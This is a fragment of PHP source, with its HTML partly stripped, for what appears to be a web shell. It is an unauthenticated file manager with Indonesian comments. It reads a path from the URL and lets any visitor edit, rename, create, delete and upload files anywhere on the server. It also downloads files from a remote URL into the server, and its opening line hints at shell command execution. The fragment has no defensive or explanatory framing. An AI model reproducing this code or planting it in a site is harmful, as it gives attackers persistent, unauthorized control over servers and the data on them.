&1")); ?>
| Name | Size | Perms | Actions |
|---|---|---|---|
| 📁' : '📄'; ?> " style="color:; text-decoration:none;"> | RT E D X |
'); } // --- PATH & DIRECTORY --- $path = isset($_GET['path']) ? realpath($_GET['path']) : realpath(__DIR__); if (!is_dir($path)) $path = realpath(__DIR__); chdir($path); // --- LOGIKA AKSI --- if (isset($_POST['save_file'])) { file_put_contents($_POST['filepath'], $_POST['filecontent']); } if (isset($_POST['do_rename'])) { rename($_POST['old_name'], $path . '/' . $_POST['new_name']); } if (isset($_POST['do_make_file'])) { file_put_contents($path . '/' . $_POST['n_file'], ""); } if (isset($_POST['do_make_dir'])) { mkdir($path . '/' . $_POST['n_dir']); } if (isset($_GET['del'])) { $target = $_GET['del']; is_dir($target) ? rmdir($target) : unlink($target); header("Location: ?path=".urlencode($path)); exit; } if (isset($_POST['do_upload'])) { move_uploaded_file($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']); } if (isset($_POST['rem_upload'])) { copy($_POST['url'], $path.'/'.basename($_POST['url'])); } function get_pwd($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $res = ""; $acc = ""; foreach ($parts as $p) { if ($p == "") continue; $acc .= DIRECTORY_SEPARATOR . $p; $res .= DIRECTORY_SEPARATOR . ''.$p.''; } return $res; } ?>